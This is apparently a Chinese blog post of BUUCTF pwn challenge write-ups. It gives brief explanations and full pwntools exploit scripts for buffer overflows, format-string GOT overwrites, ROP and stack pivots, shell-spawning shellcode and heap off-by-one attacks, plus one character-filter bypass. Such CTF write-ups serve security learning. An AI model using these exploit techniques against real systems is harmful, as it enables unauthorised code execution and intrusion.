BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧。所以开个帖子记录一下,题目简单的话就只贴exp了。
[BJDCTF 2nd]secret
这里有一个输入可以进行溢出,name在bss段,下面有一个变量count
输入完名字会再次输入,会和一些值进行判断,如果能连续判断正确10000次,就可以拿到flag。这里每次判断正确一次,count这个变量会减一。
所以有两种做法:
1.将所有正确的值dump下来,然后写脚本,答完10000次,就拿到flag了。
2.将count的值覆盖成printf的got表,因为程序没有调用过printf,这里面其实存着的地址是printf@plt+6,假如我们可以把这里改成system@plt+6,第一次调用printf的时候就相当于解析了system的地址。
所以要求name的时候输入binsh字符串,就能直接拿到shell了。所以需要进行15次输入正确,1次输入错误,这样刚好减到system@plt+6在进行调用pritnf(system)。
我是铁憨憨,做的时候没想到方法二,就用方法一硬刚做出来了。。。贴一下方法2的exp吧:
1 from pwn import * 2 3 p = process('./secret') 4 elf = ELF('./secret') 5 context.log_level = 'debug' 6 7 a = [18283, 11576, 17728, 15991, 12642, 16253, 13690, 15605, 12190, 16874, 18648, 10083, 18252, 14345, 11875, 12106, 12952, 10483, 15643, 17566, 13096, 11682, 12950, 11677, 12091] 8 9 printf_got = elf.got['printf'] 10 p.sendafter('name? ','/bin/sh\x00'+p64(0)+p32(printf_got)) 11 for i in range(15): 12 p.sendafter('Secret: ',str(a[i])) 13 p.sendafter('Secret: ',str(0)) 14 p.recv() 15 p.interactive()
picoctf_2018_buffer overflow 2
1 from pwn import * 2 3 p = process('./pwn') 4 context.log_level = 'debug' 5 6 target = 0x080485CB 7 main = 0x0804866D 8 payload = 'a'*0x6c+'bbbb'+p32(target)+p32(main)+p32(3735928559)+p32(3735929054) 9 p.sendlineafter(' string: \n',payload) 10 print p.recvuntil('}')[-0x30:]
[BJDCTF 2nd]r2t4
1 from pwn import * 2 3 p = process('./r2t4') 4 elf = ELF('./r2t4') 5 context(os='linux',arch='amd64',log_level='debug') 6 7 shell = 0x0400626 8 9 payload = fmtstr_payload(6,{elf.got['__stack_chk_fail']:0x0400626}) 10 payload = payload.ljust(0x30,'a') 11 p.send(payload) 12 p.recv() 13 p.recv()
picoctf_2018_buffer overflow 1
1 from pwn import * 2 3 p = process('./pwn') 4 context.log_level = 'debug' 5 6 target = 0x080485CB 7 payload = 'a'*0x28+'bbbb'+p32(target) 8 p.sendlineafter(' string: \n',payload) 9 p.recv() 10 p.recv()
[BJDCTF 2nd]test
需要用ssh进行连接,找到了flag,但是cat失败,权限不够,不能读取,有一个test文件和test.c,这里可以看test的源代码
1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 5 int main(){ 6 char cmd[0x100] = {0}; 7 puts("Welcome to Pwn-Game by TaQini."); 8 puts("Your ID:"); 9 system("id"); 10 printf("$ "); 11 gets(cmd); 12 if( strstr(cmd, "n") 13 ||strstr(cmd, "e") 14 ||strstr(cmd, "p") 15 ||strstr(cmd, "b") 16 ||strstr(cmd, "u") 17 ||strstr(cmd, "s") 18 ||strstr(cmd, "h") 19 ||strstr(cmd, "i") 20 ||strstr(cmd, "f") 21 ||strstr(cmd, "l") 22 ||strstr(cmd, "a") 23 ||strstr(cmd, "g") 24 ||strstr(cmd, "|") 25 ||strstr(cmd, "/") 26 ||strstr(cmd, "$") 27 ||strstr(cmd, "`") 28 ||strstr(cmd, "-") 29 ||strstr(cmd, "<") 30 ||strstr(cmd, ">") 31 ||strstr(cmd, ".")){ 32 exit(0); 33 }else{ 34 system(cmd); 35 } 36 return 0; 37 }
可以看到是ban了一些字符串的,n e p b u s h i f l a g和一些符号都不能出现在cmd字符串中。这题考得应该是linux操作。进入usr文件夹,在bin文件夹下可以看到我们可以执行的linux命令:
这里需要筛选一下:ls | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
解释一下,这里是-E是将样式为延伸的正则表达式来使用,-v是显示不包含匹配文本的所有行。
更多使用方法:入口
这里可以看到剩下的一些命令,其中我们可以用的有od和x86_64。
Linux od命令用于输出文件内容。
od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
至于x86_64这个命令,我到现在也不知道是做什么的,但是执行这个命令会和"/binsh"和"sh"一样,返回一个shell。
这里就直接用这个命令拿shell来读取flag了。
ciscn_2019_s_4
leak栈地址,然后在栈上布置rop,栈转移在迁会到栈上继续执行拿shell。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 context.log_level = 'debug' 6 7 ret = 0x080483a6 8 leave_ret = 0x080485FD 9 10 p.sendafter('name?\n','a'*0x2f+'b') 11 sleep(0.2) 12 p.recvuntil('b') 13 p.recv(4) 14 stack = u32(p.recv(4))-0x50 15 print 'stack-->'+hex(stack) 16 17 payload = p32(ret)+p32(elf.plt['system'])+p32(elf.symbols['main'])+p32(stack+0x10) 18 payload += '/bin/sh\x00' 19 payload = payload.ljust(0x28,'\x00') 20 payload += p32(stack)+p32(leave_ret) 21 22 p.send(payload) 23 p.recv() 24 p.interactive()
wustctf2020_getshell_2
32位程序,程序中有system,有"sh"字符串。做题的时候憨憨了,能溢出0xc字节的大小,0x4覆盖ebp,0x4覆盖返回地址,只剩下0x4大小的空间能写了。
刚开始时候一直写的是payload='a'*0x18+'bbbb'+p32(system_plt)+p32(main)+p32(sh_addr),发现打不通,原来是不能这么进行调用,需要借助程序中的代码段来执行。
payload='a'*0x18+'bbbb'+p32(call_system)+p32(sh_addr),这样执行syscall的话,参数就在栈上,会取出sh来执行。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 p = remote('node3.buuoj.cn',26446) 6 context.log_level = 'debug' 7 8 sh = 0x08048670 9 call_system = 0x08048529 10 11 payload = 'a'*0x18+'bbbb'+p32(call_system)+p32(sh) 12 p.send(payload) 13 p.recv() 14 p.interactive()
mrctf2020_easyoverflow
1 from pwn import * 2 3 p = process('./pwn') 4 context.log_level = 'debug' 5 6 payload = 'a'*0x30+'n0t_r3@11y_f1@g\x00' 7 p.sendline(payload) 8 p.interactive()
mrctf2020_shellcode
说实话,憨憨的读了题目,憨憨的搜了wp,憨憨的写了exp,憨憨的就通了。。。有点看不懂。。。程序执行了read(0,buf,0x400),然后就call buf
1 from pwn import * 2 3 p = process('./pwn') 4 context(os='linux',arch='amd64',log_level='debug') 5 6 shell=asm(shellcraft.amd64.linux.sh()) 7 p.sendline(shell) 8 p.interactive()
pwnable_orw
程序有沙箱保护,只能调用open read write来输出flag。这种写shellcode的方式可以学习一下。
1 from pwn import * 2 3 p = process('./orw') 4 elf = ELF('./orw') 5 context.log_level = 'debug' 6 7 buf = 0x0804A060+0x200 8 9 shellcode = shellcraft.open('./flag') 10 shellcode += shellcraft.read('eax',buf,100) 11 shellcode += shellcraft.write(1,buf,100) 12 shellcode = asm(shellcode) 13 p.recv() 14 p.send(shellcode) 15 print p.recvuntil('}')
actf_2019_babystack
1 from pwn import * 2 3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'}) 4 elf = ELF('./pwn') 5 libc = ELF('./libc-2.27-buu.so') 6 context.log_level = 'debug' 7 8 p.sendlineafter('message?\n',str(0xE0)) 9 p.recvuntil('at ') 10 stack_addr = int(p.recv(14),16) 11 print 'stack_addr-->'+hex(stack_addr) 12 13 pop_rdi = 0x00400ad3 14 pop_rsi_r15 = 0x00400ad1 15 leave_ret = 0x0400A18 16 og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398] 17 call_puts = 0x04009DA 18 19 payload = p64(pop_rdi)+p64(elf.got['puts']) 20 payload += p64(elf.plt['puts'])+p64(pop_rsi_r15) 21 payload += p64(elf.got['puts'])+p64(0) 22 payload += p64(pop_rdi)+p64(0)+p64(elf.plt['read']) 23 payload += p64(call_puts) 24 payload = payload.ljust(0xd0,'\x00') 25 payload += p64(stack_addr-0x8)+p64(leave_ret) 26 p.sendafter('>',payload) 27 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['puts'] 28 shell = libc_base+og[6] 29 print 'libc_base-->'+hex(libc_base) 30 31 payload = p64(shell) 32 p.send(payload) 33 p.interactive()
roarctf_2019_easy_pwn
如果卡时间的话,我应该是参加了这次比赛的。太菜了,当时啥也不会。
off by one,free的时候看的是size字段,构造堆块重叠,让两个指针指向同一个堆快,就可以进行常规操作了。
1 from pwn import * 2 3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc-2.23.so"}) 4 #p = process('./pwn') 5 elf = ELF('./pwn') 6 #libc = ELF('./libc.so.6') 7 libc = ELF('./libc-2.23.so') 8 context.log_level = 'debug' 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(size): 14 p.sendlineafter('choice: ','1') 15 p.sendlineafter('size: ',str(size)) 16 def edit(index,size,content): 17 p.sendlineafter('choice: ','2') 18 p.sendlineafter('index: ',str(index)) 19 p.sendlineafter('size: ',str(size)) 20 p.sendafter('content: ',content) 21 def delete(index): 22 p.sendlineafter('choice: ','3') 23 p.sendlineafter('index: ',str(index)) 24 def show(index): 25 p.sendlineafter('choice: ','4') 26 p.sendlineafter('index: ',str(index)) 27 28 #og = [0x45226,0x4527a,0xf0364,0xf1207] 29 og = [0x45216,0x4526a,0xf02a4,0xf1147] 30 31 add(0x18) #0 32 add(0x70) #1 33 add(0x60) #2 34 add(0x10) #3 35 edit(0,0x18+10,'a'*0x18+'\xf1') 36 delete(1) 37 add(0x70) 38 show(2) 39 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['__malloc_hook']-0x10-88 40 print 'libc_base-->'+hex(libc_base) 41 __malloc_hook = libc_base+libc.symbols['__malloc_hook'] 42 shell = libc_base+og[1] 43 realloc = libc_base+libc.symbols['realloc'] 44 45 add(0x60) 46 delete(2) 47 edit(4,0x8,p64(__malloc_hook-0x23)) 48 add(0x60) 49 add(0x60) 50 payload = 'a'*(0x13-8)+p64(shell)+p64(realloc+3) 51 edit(5,len(payload),payload) 52 add(0x10) 53 p.interactive()
hitcontraining_heapcreator
off by one,控制chunk指针,打got表。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 7 #context(os='linux',arch='i386',log_level='debug') 8 context(os='linux',arch='amd64',log_level='debug') 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(size,content): 14 p.sendlineafter('choice :','1') 15 p.sendlineafter('Heap : ',str(size)) 16 p.sendafter('heap:',content) 17 def edit(index,content): 18 p.sendlineafter('choice :','2') 19 p.sendlineafter('Index :',str(index)) 20 p.sendafter('heap : ',content) 21 def delete(index): 22 p.sendlineafter('choice :','4') 23 p.sendlineafter('Index :',str(index)) 24 def show(index): 25 p.sendlineafter('choice :','3') 26 p.sendlineafter('Index :',str(index)) 27 28 add(0x80,'aaaaaaaa') 29 add(0x18,'bbbbbbbb') 30 delete(0) 31 add(0x80,'aaaaaaaa') 32 show(0) 33 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook'] 34 print 'libc_base-->'+hex(libc_base) 35 system = libc_base + libc.symbols['system'] 36 add(0x18,'cccccccc') 37 add(0x18,'dddddddd') 38 edit(1,'a'*0x18+'\x80') 39 delete(2) 40 add(0x70,'zzzzzzzz'*3+p64(0x21)+p64(0x70)+p64(elf.got['atoi'])) 41 edit(2,p64(system)) 42 p.sendlineafter('choice :','/bin/sh\x00') 43 p.interactive()
ciscn_2019_n_3
第一次做32位的堆题,卡了一会儿。
1.申请string类型的note
2.申请int类型的note
3.free掉note0和note1,再申请0xc大小的int类型的note,此时就可以控制chunk0的show和delete指针了,在show处填"sh\x00\x00",在delete处写system_plt,再free掉chunk0就拿到shell了。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 context.log_level = 'debug' 6 7 def duan(): 8 gdb.attach(p) 9 pause() 10 def add(index,note_type,content,size=0): 11 p.sendlineafter('CNote > ','1') 12 p.sendlineafter('Index > ',str(index)) 13 p.sendlineafter('Text\n',str(note_type)) 14 if note_type==1: 15 p.sendlineafter('Value > ',content) 16 if note_type==2: 17 p.sendlineafter('Length > ',str(size)) 18 p.sendlineafter('Value > ',content) 19 def delete(index): 20 p.sendlineafter('CNote > ','2') 21 p.sendlineafter('Index > ',str(index)) 22 def show(index): 23 p.sendlineafter('CNote > ','3') 24 p.sendlineafter('Index > ',str(index)) 25 26 add(0,2,'aaaa',0x20) 27 add(1,1,str(0x1234)) 28 delete(0) 29 delete(1) 30 add(2,2,'sh'+'\x00'*2+p32(elf.plt['system']),0xc) 31 delete(0) 32 p.interactive()